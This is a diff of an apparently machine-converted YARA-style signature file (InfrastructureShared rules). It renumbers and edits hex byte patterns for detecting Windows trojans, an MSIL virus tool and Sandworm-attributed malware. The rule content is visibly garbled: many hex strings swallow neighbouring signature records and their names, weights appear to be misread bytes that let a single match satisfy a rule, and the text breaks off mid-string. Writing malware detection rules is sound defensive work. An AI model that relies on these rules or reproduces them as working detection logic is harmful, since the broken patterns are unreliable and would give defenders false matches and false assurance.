_InfrastructureShared_15849{ +rule _InfrastructureShared_16892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -184995,7 +197403,7 @@ rule _InfrastructureShared_15849{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101) >=12 } -rule _InfrastructureShared_15850{ +rule _InfrastructureShared_16893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -185016,7 +197424,7 @@ rule _InfrastructureShared_15850{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2344+(#a_00_2 & 1)*506+(#a_6e_3 & 1)*25711+(#a_52_4 & 1)*21320+(#a_00_5 & 1)*32+(#a_01_6 & 1)*10333+(#a_23_8 & 1)*11+(#a_70_9 & 1)*29441+(#a_67_10 & 1)*28005+(#a_74_11 & 1)*28271+(#a_01_12 & 1)*17774) >=13 } -rule _InfrastructureShared_15851{ +rule _InfrastructureShared_16894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -185031,7 +197439,7 @@ rule _InfrastructureShared_15851{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*22528+(#a_41_2 & 1)*16946+(#a_44_3 & 1)*13361+(#a_42_4 & 1)*8448+(#a_6d_5 & 1)*29296) >=15 } -rule _InfrastructureShared_15852{ +rule _InfrastructureShared_16895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0b 00 21 " @@ -185049,7 +197457,7 @@ rule _InfrastructureShared_15852{ ((#a_5f_0 & 1)*16931+(#a_54_1 & 1)*20307+(#a_67_2 & 1)*28005+(#a_74_3 & 1)*28271+(#a_01_4 & 1)*17774+(#a_23_5 & 1)*4+(#a_00_7 & 1)*88+(#a_00_9 & 1)*108+(#a_33_10 & 1)*26967) >=19 } -rule _InfrastructureShared_15853{ +rule _InfrastructureShared_16896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,33 00 33 00 0a 00 21 " @@ -185067,7 +197475,7 @@ rule _InfrastructureShared_15853{ ((#a_6f_0 & 1)*21539+(#a_6b_1 & 1)*21605+(#a_00_2 & 1)*25971+(#a_00_3 & 1)*111+(#a_00_4 & 1)*97+(#a_70_5 & 1)*28787+(#a_74_6 & 1)*23867+(#a_01_8 & 1)*-28417+(#a_90_9 & 1)*1223) >=51 } -rule _InfrastructureShared_15854{ +rule _InfrastructureShared_16897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -185078,7 +197486,7 @@ rule _InfrastructureShared_15854{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*112) >=400 } -rule _InfrastructureShared_15855{ +rule _InfrastructureShared_16898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -185089,7 +197497,7 @@ rule _InfrastructureShared_15855{ ((#a_46_0 & 1)*21283+(#a_73_1 & 1)*27214) >=1 } -rule _InfrastructureShared_15856{ +rule _InfrastructureShared_16899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -185104,7 +197512,7 @@ rule _InfrastructureShared_15856{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29953+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720) >=1 } -rule _InfrastructureShared_15857{ +rule _InfrastructureShared_16900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -185116,7 +197524,7 @@ rule _InfrastructureShared_15857{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28425+(#a_90_2 & 1)*2560) >=2 } -rule _InfrastructureShared_15858{ +rule _InfrastructureShared_16901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -185128,7 +197536,7 @@ rule _InfrastructureShared_15858{ ((#a_54_0 & 1)*18467+(#a_0a_1 & 1)*22538+(#a_09_2 & 1)*4358) >=2 } -rule _InfrastructureShared_15859{ +rule _InfrastructureShared_16902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -185142,7 +197550,7 @@ rule _InfrastructureShared_15859{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*8292+(#a_61_2 & 1)*29807+(#a_41_3 & 1)*8448+(#a_09_4 & 1)*-23619) >=2 } -rule _InfrastructureShared_15860{ +rule _InfrastructureShared_16903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -185152,7 +197560,7 @@ rule _InfrastructureShared_15860{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_15861{ +rule _InfrastructureShared_16904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -185163,7 +197571,7 @@ rule _InfrastructureShared_15861{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*103) >=3 } -rule _InfrastructureShared_15862{ +rule _InfrastructureShared_16905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -185175,7 +197583,7 @@ rule _InfrastructureShared_15862{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*19010+(#a_4b_2 & 1)*26177) >=3 } -rule _InfrastructureShared_15863{ +rule _InfrastructureShared_16906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -185186,7 +197594,7 @@ rule _InfrastructureShared_15863{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*52) >=3 } -rule _InfrastructureShared_15864{ +rule _InfrastructureShared_16907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -185197,7 +197605,7 @@ rule _InfrastructureShared_15864{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*-12544) >=3 } -rule _InfrastructureShared_15865{ +rule _InfrastructureShared_16908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -185208,7 +197616,7 @@ rule _InfrastructureShared_15865{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*768) >=3 } -rule _InfrastructureShared_15866{ +rule _InfrastructureShared_16909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -185220,7 +197628,19 @@ rule _InfrastructureShared_15866{ ((#a_54_0 & 1)*18467+(#a_0b_1 & 1)*3091+(#a_09_2 & 1)*1553) >=3 } -rule _InfrastructureShared_15867{ +rule _InfrastructureShared_16910{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_4c_0 = {57 69 6e 36 34 2f 41 74 74 65 6d 70 74 65 64 54 72 6f 6c 6c 69 6e 67 2e 42 00 01 00 42 03 53 0f b7 01 0f b7 1a 66 3b c3 75 90 01 01 66 85 c0 74 90 01 01 48 83 c1 02 48 83 c2 02 eb 90 01 01 33 c0 eb 90 01 01 } //21539 + $a_04_1 = {5b } //-28488 [ + $a_8b_2 = {48 83 ec 90 01 01 53 56 57 51 52 41 50 41 51 90 00 01 00 31 03 48 8b 3f 48 c7 c1 90 01 04 fc f3 a4 48 8b 74 24 08 48 8b 76 08 90 01 07 48 8b 1b 48 8b 3b 48 83 ff 00 74 90 01 01 56 48 8b 0c 24 48 8b d7 e8 90 00 01 00 } //21955 + condition: + ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*-28488+(#a_8b_2 & 1)*21955) >=3 + +} +rule _InfrastructureShared_16911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -185236,7 +197656,7 @@ rule _InfrastructureShared_15867{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*24943+(#a_61_2 & 1)*8307+(#a_6d_3 & 1)*18689+(#a_68_4 & 1)*2304+(#a_65_5 & 1)*28527+(#a_6b_6 & 1)*265) >=3 } -rule _InfrastructureShared_15868{ +rule _InfrastructureShared_16912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -185255,7 +197675,7 @@ rule _InfrastructureShared_15868{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28516+(#a_3a_2 & 1)*19524+(#a_00_3 & 1)*21581+(#a_00_4 & 1)*32+(#a_6c_5 & 1)*26999+(#a_72_6 & 1)*26998+(#a_74_7 & 1)*28527+(#a_20_8 & 1)*25976+(#a_45_9 & 1)*8993) >=3 } -rule _InfrastructureShared_15869{ +rule _InfrastructureShared_16913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -185266,7 +197686,7 @@ rule _InfrastructureShared_15869{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*400) >=4 } -rule _InfrastructureShared_15870{ +rule _InfrastructureShared_16914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -185281,7 +197701,7 @@ rule _InfrastructureShared_15870{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*21248+(#a_6d_2 & 1)*16754+(#a_32_3 & 1)*28265+(#a_68_4 & 1)*11888+(#a_73_5 & 1)*28482) >=4 } -rule _InfrastructureShared_15871{ +rule _InfrastructureShared_16915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -185296,7 +197716,7 @@ rule _InfrastructureShared_15871{ ((#a_4c_0 & 1)*21539+(#a_68_1 & 1)*11888+(#a_73_2 & 1)*28482+(#a_73_3 & 1)*25183+(#a_00_5 & 1)*111+(#a_4f_6 & 1)*12851) >=4 } -rule _InfrastructureShared_15872{ +rule _InfrastructureShared_16916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -185312,7 +197732,7 @@ rule _InfrastructureShared_15872{ ((#a_4c_0 & 1)*21539+(#a_63_1 & 1)*29276+(#a_00_2 & 1)*108+(#a_72_3 & 1)*28009+(#a_65_4 & 1)*24951+(#a_72_5 & 1)*8262+(#a_73_6 & 1)*23610) >=5 } -rule _InfrastructureShared_15873{ +rule _InfrastructureShared_16917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -185327,7 +197747,7 @@ rule _InfrastructureShared_15873{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*-32463+(#a_72_2 & 1)*30580+(#a_70_3 & 1)*11890+(#a_65_4 & 1)*21852+(#a_32_5 & 1)*14137) >=6 } -rule _InfrastructureShared_15874{ +rule _InfrastructureShared_16918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -185342,7 +197762,7 @@ rule _InfrastructureShared_15874{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29557+(#a_78_2 & 1)*21582+(#a_5f_3 & 1)*24415+(#a_79_4 & 1)*25445+(#a_4f_5 & 1)*11890) >=6 } -rule _InfrastructureShared_15875{ +rule _InfrastructureShared_16919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -185355,7 +197775,7 @@ rule _InfrastructureShared_15875{ ((#a_54_0 & 1)*18467+(#a_41_2 & 1)*16640+(#a_61_3 & 1)*21505+(#a_01_5 & 1)*1536) >=6 } -rule _InfrastructureShared_15876{ +rule _InfrastructureShared_16920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -185370,7 +197790,7 @@ rule _InfrastructureShared_15876{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26996+(#a_6e_2 & 1)*25705+(#a_5a_3 & 1)*-32464+(#a_4a_4 & 1)*19762+(#a_68_5 & 1)*26726) >=6 } -rule _InfrastructureShared_15877{ +rule _InfrastructureShared_16921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -185386,7 +197806,7 @@ rule _InfrastructureShared_15877{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*20275+(#a_68_2 & 1)*26728+(#a_21_3 & 1)*12856+(#a_74_4 & 1)*22371+(#a_6f_5 & 1)*25938+(#a_00_6 & 1)*36) >=7 } -rule _InfrastructureShared_15878{ +rule _InfrastructureShared_16922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -185402,7 +197822,7 @@ rule _InfrastructureShared_15878{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*25431+(#a_73_2 & 1)*21108+(#a_33_3 & 1)*12336+(#a_00_4 & 1)*54+(#a_24_5 & 1)*29285+(#a_24_6 & 1)*25697) >=7 } -rule _InfrastructureShared_15879{ +rule _InfrastructureShared_16923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -185418,7 +197838,7 @@ rule _InfrastructureShared_15879{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*54+(#a_24_3 & 1)*29285+(#a_24_4 & 1)*25697+(#a_24_5 & 1)*27503+(#a_6f_6 & 1)*26982+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_15880{ +rule _InfrastructureShared_16924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -185437,7 +197857,7 @@ rule _InfrastructureShared_15880{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*-32493+(#a_6f_2 & 1)*26982+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_f8_5 & 1)*0+(#a_69_6 & 1)*29550+(#a_74_7 & 1)*29801+(#a_6f_8 & 1)*24910+(#a_90_9 & 1)*30239) >=10 } -rule _InfrastructureShared_15881{ +rule _InfrastructureShared_16925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -185456,7 +197876,7 @@ rule _InfrastructureShared_15881{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*385+(#a_74_2 & 1)*29801+(#a_6f_3 & 1)*24910+(#a_90_4 & 1)*30239+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_15882{ +rule _InfrastructureShared_16926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0b 00 03 00 21 " @@ -185468,7 +197888,7 @@ rule _InfrastructureShared_15882{ ((#a_46_0 & 1)*16675+(#a_10_1 & 1)*-28671+(#a_58_2 & 1)*539) >=11 } -rule _InfrastructureShared_15883{ +rule _InfrastructureShared_16927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -185484,12 +197904,12 @@ rule _InfrastructureShared_15883{ $a_42_8 = {74 } //1536 t $a_01_9 = {00 09 01 41 70 70 44 6f 6d 61 69 6e 01 00 11 01 67 65 74 5f 43 75 72 72 65 6e 74 44 6f 6d 61 69 6e 01 00 08 01 67 65 74 5f 53 69 7a 65 01 00 09 01 67 65 74 5f 57 69 64 74 68 01 00 10 01 53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 01 00 14 01 67 65 74 5f 42 69 67 45 6e 64 69 61 6e 55 6e 69 63 6f 64 65 01 00 08 01 47 65 74 50 69 78 } //24941 $a_00_10 = {0a } //27749 - $a_74_11 = {48 65 69 67 68 74 01 00 09 01 73 65 74 5f 57 69 64 74 68 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 08 01 4c 61 74 65 43 61 6c 6c 00 00 78 f9 00 00 01 00 01 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 6f 73 6f 67 6f 2e 48 21 64 68 61 00 01 00 15 80 01 } //29441 + $a_74_11 = {48 65 69 67 68 74 01 00 09 01 73 65 74 5f 57 69 64 74 68 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 08 01 4c 61 74 65 43 61 6c 6c 00 00 78 f8 00 00 50 00 50 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 4d 52 21 4d 54 42 00 14 00 3a 03 8b f1 } //29441 condition: ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*27251+(#a_73_2 & 1)*17005+(#a_00_3 & 1)*66+(#a_38_4 & 1)*385+(#a_37_5 & 1)*13620+(#a_61_6 & 1)*26946+(#a_4d_7 & 1)*25970+(#a_42_8 & 1)*1536+(#a_01_9 & 1)*24941+(#a_00_10 & 1)*27749+(#a_74_11 & 1)*29441) >=12 } -rule _InfrastructureShared_15884{ +rule _InfrastructureShared_16928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -185499,17 +197919,16 @@ rule _InfrastructureShared_15884{ $a_79_2 = {6f 77 65 72 01 00 05 81 01 48 65 63 74 6f 01 00 05 81 01 59 6f 63 74 6f 01 00 05 81 01 46 65 6d 74 6f 01 00 05 81 01 5a 65 70 74 6f 00 00 78 f8 00 00 0e 00 0e 00 0e 00 21 23 41 4c 46 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 4c 6f 72 65 21 4d 54 42 00 01 00 08 01 3c 4d 6f 64 75 6c 65 3e 01 } //29298 $a_53_3 = {73 } //3584 s $a_2e_4 = {72 61 77 69 6e 67 01 00 06 01 42 69 74 6d 61 70 01 00 09 01 41 70 70 44 6f 6d 61 69 6e 01 00 11 01 67 65 74 5f 43 75 72 72 65 6e 74 44 6f 6d 61 69 6e 01 00 08 01 67 65 74 5f 53 69 7a 65 01 00 09 01 67 65 74 5f 57 69 64 74 68 01 00 10 01 53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 01 00 14 01 67 65 74 5f 42 69 67 45 6e 64 } //25972 - $a_55_5 = {69 63 6f 64 65 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 0a 01 73 65 74 5f 48 65 69 67 68 74 01 00 09 01 73 65 74 5f 57 69 64 74 68 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 08 01 4c 61 74 65 43 61 6c 6c 00 00 78 f9 00 00 01 00 01 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 6f } //24937 - $a_6f_6 = {48 21 64 68 61 00 01 00 15 80 01 5c 72 65 70 6f 73 5c 63 79 72 75 73 5f 77 69 6e 64 6f 77 73 5c 01 00 16 80 01 5c 63 79 72 75 73 5f 77 69 6e 64 6f 77 73 5c 63 6f 6d 6d 6f 6e 5c 01 00 5f 02 63 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c 00 43 00 6f 00 6d 00 } //28531 - $a_00_7 = {6e 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 5c 00 61 00 64 00 6f 00 5c 00 90 02 08 2e 00 6c 00 6f 00 67 00 90 00 01 00 32 02 63 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 43 6f 6d 6d 6f 6e 20 46 69 6c 65 73 5c 53 79 73 74 65 6d 5c 61 64 6f 5c 90 02 08 2e 6c 6f 67 90 00 00 00 78 f9 00 00 } //109 - $a_00_8 = {05 } //1 - $a_41_9 = {46 3a 59 32 56 3a 46 52 5f 41 4e 53 53 49 5f 53 44 4f 2f 41 50 54 5f 4d 41 4c 5f 53 61 6e 64 77 6f 72 6d } //8448 F:Y2V:FR_ANSSI_SDO/APT_MAL_Sandworm - $a_61_10 = {61 6d 65 6c 5f 53 74 72 75 63 74 00 01 00 21 03 47 2d 28 42 90 04 01 03 00 2d 0f 90 01 02 19 90 0a 15 00 70 90 04 07 01 00 58 90 04 07 01 00 90 00 01 00 21 03 46 6a 13 e2 90 04 01 03 00 2d 0f 90 01 02 19 90 0a 15 00 30 90 04 07 01 00 30 90 04 07 01 00 90 00 01 00 21 03 7b 6a 49 84 90 04 01 03 00 2d 0f 90 01 02 19 90 0a 15 00 20 90 04 07 01 00 10 90 04 07 01 } //17759 + $a_55_5 = {69 63 6f 64 65 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 0a 01 73 65 74 5f 48 65 69 67 68 74 01 00 09 01 73 65 74 5f 57 69 64 74 68 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 08 01 4c 61 74 65 43 61 6c 6c 00 00 78 f8 00 00 50 00 50 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 } //24937 + $a_4d_6 = {21 4d 54 42 00 14 00 3a 03 8b f1 89 74 24 04 c7 06 60 60 40 00 8d 8e 40 01 00 00 c7 44 24 10 01 00 00 00 e8 90 01 04 8d 8e c0 00 00 00 c6 } //29295 + $a_00_7 = {e8 90 01 04 8b ce c7 44 24 10 ff ff ff ff e8 90 } //9284 + $a_76_9 = {00 32 c3 3c 3a 88 84 35 a0 de ff ff 77 90 01 01 fe c8 88 84 35 a0 de ff ff 90 00 14 00 23 01 8b 56 64 83 c1 0c 8d 04 d5 1f 00 00 00 99 83 e2 1f 03 c2 8b 56 68 c1 f8 05 c1 e0 02 0f af d0 4f 89 56 54 14 00 41 01 8b 44 24 18 25 ff ff 00 00 8b fd 83 c4 04 89 6c 24 5c 8d 0c 40 33 c0 c1 e1 02 8b d1 c1 e9 02 f3 ab 8b ca 83 e1 03 f3 aa 8b 44 24 14 8d 4c 24 30 25 ff ff 00 00 8d 04 40 c1 e0 } //-31094 + $a_44_10 = {34 55 00 00 78 f9 00 00 01 00 01 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 6f 73 6f 67 6f 2e 48 21 64 68 61 00 01 00 15 80 01 5c 72 65 70 6f 73 5c 63 79 72 75 73 5f 77 69 6e 64 6f 77 73 5c 01 00 16 80 01 5c 63 79 72 75 73 5f 77 69 6e 64 6f 77 73 5c 63 6f 6d 6d 6f 6e 5c 01 00 5f 02 63 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c } //20482 condition: - ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*25446+(#a_79_2 & 1)*29298+(#a_53_3 & 1)*3584+(#a_2e_4 & 1)*25972+(#a_55_5 & 1)*24937+(#a_6f_6 & 1)*28531+(#a_00_7 & 1)*109+(#a_00_8 & 1)*1+(#a_41_9 & 1)*8448+(#a_61_10 & 1)*17759) >=12 + ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*25446+(#a_79_2 & 1)*29298+(#a_53_3 & 1)*3584+(#a_2e_4 & 1)*25972+(#a_55_5 & 1)*24937+(#a_4d_6 & 1)*29295+(#a_00_7 & 1)*9284+(#a_76_9 & 1)*-31094+(#a_44_10 & 1)*20482) >=12 } -rule _InfrastructureShared_15885{ +rule _InfrastructureShared_16929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -185519,18 +197938,30 @@ rule _InfrastructureShared_15885{ $a_72_2 = {65 6e 74 44 6f 6d 61 69 6e 01 00 08 01 67 65 74 5f 53 69 7a 65 01 00 09 01 67 65 74 5f 57 69 64 74 68 01 00 10 01 53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 01 00 14 01 67 65 74 5f 42 69 67 45 6e 64 69 61 6e 55 6e 69 63 6f 64 65 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 0a 01 73 65 74 5f 48 65 69 67 68 74 01 00 09 01 73 65 74 5f 57 69 64 74 68 } //17247 $a_01_3 = {4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 } //1 NewLateBinding $a_01_4 = {4c 61 74 65 43 61 6c 6c } //1 LateCall - $a_f9_5 = {00 01 00 01 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 6f 73 6f 67 6f 2e 48 21 64 68 61 00 01 00 15 80 01 5c 72 65 70 6f 73 5c 63 79 72 75 73 5f 77 69 6e 64 6f 77 73 5c 01 00 16 80 01 5c 63 79 72 75 73 5f 77 69 6e 64 6f 77 73 5c 63 6f 6d 6d 6f 6e 5c 01 00 5f 02 63 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 } //0 - $a_00_7 = {73 00 5c 00 43 00 6f 00 6d 00 6d 00 6f 00 6e 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 5c 00 61 00 64 00 6f 00 5c 00 90 02 08 2e 00 6c 00 6f 00 67 00 90 00 01 00 32 02 63 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 43 6f 6d 6d 6f 6e 20 46 69 6c 65 73 5c 53 79 } //108 - $a_6d_8 = {61 64 6f 5c 90 02 08 2e 6c 6f 67 90 00 00 00 78 f9 00 00 01 00 01 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 52 5f 41 4e 53 53 49 5f 53 44 4f 2f 41 50 54 5f 4d 41 4c 5f 53 61 6e 64 77 6f 72 6d 5f 45 78 61 72 61 6d 65 6c 5f 53 74 72 75 63 74 00 01 00 21 03 47 2d 28 42 90 04 01 03 00 2d 0f 90 01 02 19 90 } //29811 - $a_00_10 = {58 } //1796 X - $a_01_11 = {00 90 00 01 00 21 03 } //1168 - $a_e2_12 = {04 01 03 00 2d 0f 90 01 02 19 90 0a 15 00 30 90 04 07 01 } //27206 - $a_04_13 = {07 01 00 90 00 01 00 21 03 7b 6a 49 84 90 04 01 03 00 2d 0f 90 01 02 19 90 0a 15 00 20 90 04 07 01 00 10 90 04 07 01 00 90 00 01 00 21 03 bf 35 0d f9 90 04 01 03 00 2d 0f 90 01 02 19 90 0a 15 00 30 90 04 07 01 00 28 90 04 07 01 00 90 00 01 00 21 03 88 60 a1 c5 90 04 01 03 00 2d 0f 90 01 02 19 90 0a 15 00 50 90 04 07 01 00 20 90 04 07 01 00 90 00 00 00 78 f9 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 } //12288 + $a_f8_5 = {00 50 00 50 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 4d 52 21 4d 54 42 00 14 00 3a 03 8b f1 89 74 24 04 c7 06 60 60 40 00 8d 8e 40 01 00 00 c7 44 24 10 01 00 00 00 e8 90 01 04 8d 8e c0 00 00 00 c6 44 24 10 00 e8 90 01 04 8b ce c7 44 24 10 ff ff ff ff e8 90 00 14 00 20 03 8a 86 80 76 40 00 32 c3 3c 3a 88 84 35 } //0 + $a_ff_6 = {90 01 01 fe c8 88 84 35 a0 de ff ff 90 00 14 00 23 01 8b 56 64 83 c1 0c 8d 04 d5 1f 00 00 00 99 83 e2 1f 03 c2 8b 56 68 c1 f8 05 c1 e0 02 0f af d0 4f 89 56 54 14 00 41 01 8b 44 24 18 25 ff ff 00 00 8b fd 83 c4 04 89 6c 24 5c 8d 0c 40 33 c0 c1 e1 02 8b d1 c1 e9 02 f3 ab 8b ca 83 e1 03 f3 aa 8b 44 24 14 8d 4c 24 30 25 ff ff 00 00 8d 04 40 c1 e0 02 50 8b 44 24 34 55 00 00 78 f9 00 00 01 00 01 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 6f 73 6f 67 6f 2e 48 21 64 68 61 00 01 00 15 80 01 5c 72 65 70 6f 73 5c 63 79 72 75 73 5f 77 69 6e 64 6f 77 73 5c 01 00 16 80 01 5c 63 79 72 75 73 5f 77 69 6e 64 6f 77 73 5c 63 6f 6d 6d 6f 6e 5c 01 00 5f 02 63 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 } //-8544 + $a_00_8 = {6d 00 6d 00 6f 00 6e 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 5c 00 61 00 64 00 6f 00 5c 00 [0-08] 2e 00 6c 00 6f 00 67 00 90 00 01 00 32 02 63 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 43 6f 6d 6d 6f 6e 20 46 69 6c 65 73 5c 53 79 73 74 65 6d 5c 61 64 6f 5c [0-08] 2e 6c 6f 67 } //67 + $a_f9_9 = {00 01 00 01 00 05 00 